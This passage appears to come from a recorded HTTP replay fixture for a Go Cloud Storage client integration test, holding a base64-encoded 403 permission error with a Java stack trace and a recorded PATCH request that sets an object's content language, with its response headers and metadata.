WRIZWxwPW51bGwsIGh0dHBIZWFkZXJzPXt9LCBodHRwU3RhdHVzPWZvcmJpZGRlbiwgaW50ZXJuYWxSZWFzb249UmVhc29ue2FyZ3VtZW50cz17fSwgY2F1c2U9bnVsbCwgY29kZT1nZGF0YS5Db3JlRXJyb3JEb21haW4uRk9SQklEREVOLCBjcmVhdGVkQnlCYWNrZW5kPXRydWUsIGRlYnVnTWVzc2FnZT1jb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX0FDQ0VTU19ERU5JRUQ6IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkdldE9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoR2V0T2JqZWN0LmphdmE6MzA5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuR2V0T2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChHZXRPYmplY3QuamF2YTo3MClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uT2JqZWN0c0RlbGVnYXRvci5nZXQoT2JqZWN0c0RlbGVnYXRvci5qYXZhOjgxKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGVycm9yUHJvdG9Db2RlPUZPUkJJRERFTiwgZXJyb3JQcm90b0RvbWFpbj1nZGF0YS5Db3JlRXJyb3JEb21haW4sIGZpbHRlcmVkTWVzc2FnZT1udWxsLCBsb2NhdGlvbj1udWxsLCBtZXNzYWdlPWludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuLCB1bm5hbWVkQXJndW1lbnRzPVtdfSwgbG9jYXRpb249bnVsbCwgbWVzc2FnZT1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiwgcmVhc29uPWZvcmJpZGRlbiwgcnBjQ29kZT00MDN9IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuOiBjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX0FDQ0VTU19ERU5JRUQ6IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkdldE9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoR2V0T2JqZWN0LmphdmE6MzA5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuR2V0T2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChHZXRPYmplY3QuamF2YTo3MClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uT2JqZWN0c0RlbGVnYXRvci5nZXQoT2JqZWN0c0RlbGVnYXRvci5qYXZhOjgxKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRXJyb3JDb2xsZWN0b3IudG9GYXVsdChFcnJvckNvbGxlY3Rvci5qYXZhOjU0KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUVycm9yQ29udmVydGVyLnRvRmF1bHQoUm9zeUVycm9yQ29udmVydGVyLmphdmE6NjcpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyNTkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyMzkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci50aHJlYWQuVGhyZWFkVHJhY2tlcnMkVGhyZWFkVHJhY2tpbmdSdW5uYWJsZS5ydW4oVGhyZWFkVHJhY2tlcnMuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjQ1Mylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnNlcnZlci5Db21tb25Nb2R1bGUkQ29udGV4dENhcnJ5aW5nRXhlY3V0b3JTZXJ2aWNlJDEucnVuSW5Db250ZXh0KENvbW1vbk1vZHVsZS5qYXZhOjgwMilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZSQxLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NjApXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoVHJhY2VDb250ZXh0LmphdmE6MzE5KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjMxMSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDU3KVxuXHRhdCBjb20uZ29vZ2xlLmdzZS5pbnRlcm5hbC5EaXNwYXRjaFF1ZXVlSW1wbCRXb3JrZXJUaHJlYWQucnVuKERpc3BhdGNoUXVldWVJbXBsLmphdmE6NDAzKVxuIn1dLCJjb2RlIjo0MDMsIm1lc3NhZ2UiOiJpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiJ9fQ==" - } - }, - { - "ID": "da73739950dbfa82", - "Request": { - "Method": "PATCH", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/foo?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "85" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJjb250ZW50TGFuZ3VhZ2UiOiJlbiJ9Cg==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3216" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:54 GMT" - ], - "Etag": [ - "COGeqNLx/eECEAI=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrdpofRnchjkCQz5LLoghzg-RHoGATH3xbgJVW0LKGBkH025w5EB5RlGmHHnmXuPtK_5Ffyl1bxjmoc_h7_vGvjcxWbHv9-NKe9fLO_oNYRmw-ffvU" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTg5MTU0ODAwMSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2ZvbyIsIm5hbWUiOiJmb28iLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg5MTU0ODAwMSIsIm1ldGFnZW5lcmF0aW9uIjoiMiIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbiIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDo1MS41NDdaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6NTQuNzM4WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjUxLjU0N1oiLCJzaXplIjoiNSIsIm1kNUhhc2giOiJYVUZBS3J4TEtuYTVjWjJSRUJmRmtnPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vP2dlbmVyYXRpb249MTU1NjgzNTg5MTU0ODAwMSZhbHQ9bWVkaWEiLCJjb250ZW50TGFuZ3VhZ2UiOiJlbiIsImNhY2hlQ29udHJvbCI6InB1YmxpYywgbWF4LWFnZT02MCIsImFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL2Zvby8xNTU2ODM1ODkxNTQ4MDAxL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2Zvby9hY2wvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwib2JqZWN0IjoiZm9vIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4OTE1NDgwMDEiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ09HZXFOTHgvZUVDRUFJPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL2Zvby8xNTU2ODM1ODkxNTQ4MDAxL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvby9mb28vYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJvYmplY3QiOiJmb28iLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg5MTU0ODAwMSIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNPR2VxTkx4L2VFQ0VBST0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTg5MTU0ODAwMS9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vL2FjbC9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwib2JqZWN0IjoiZm9vIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4OTE1NDgwMDEiLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ09HZXFOTHgvZUVDRUFJPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL2Zvby8xNTU2ODM1ODkxNTQ4MDAxL3VzZXItaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvby9mb28vYWNsL3VzZXItaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJvYmplY3QiOiJmb28iLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg5MTU0ODAwMSIsImVudGl0eSI6InVzZXItaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIiwi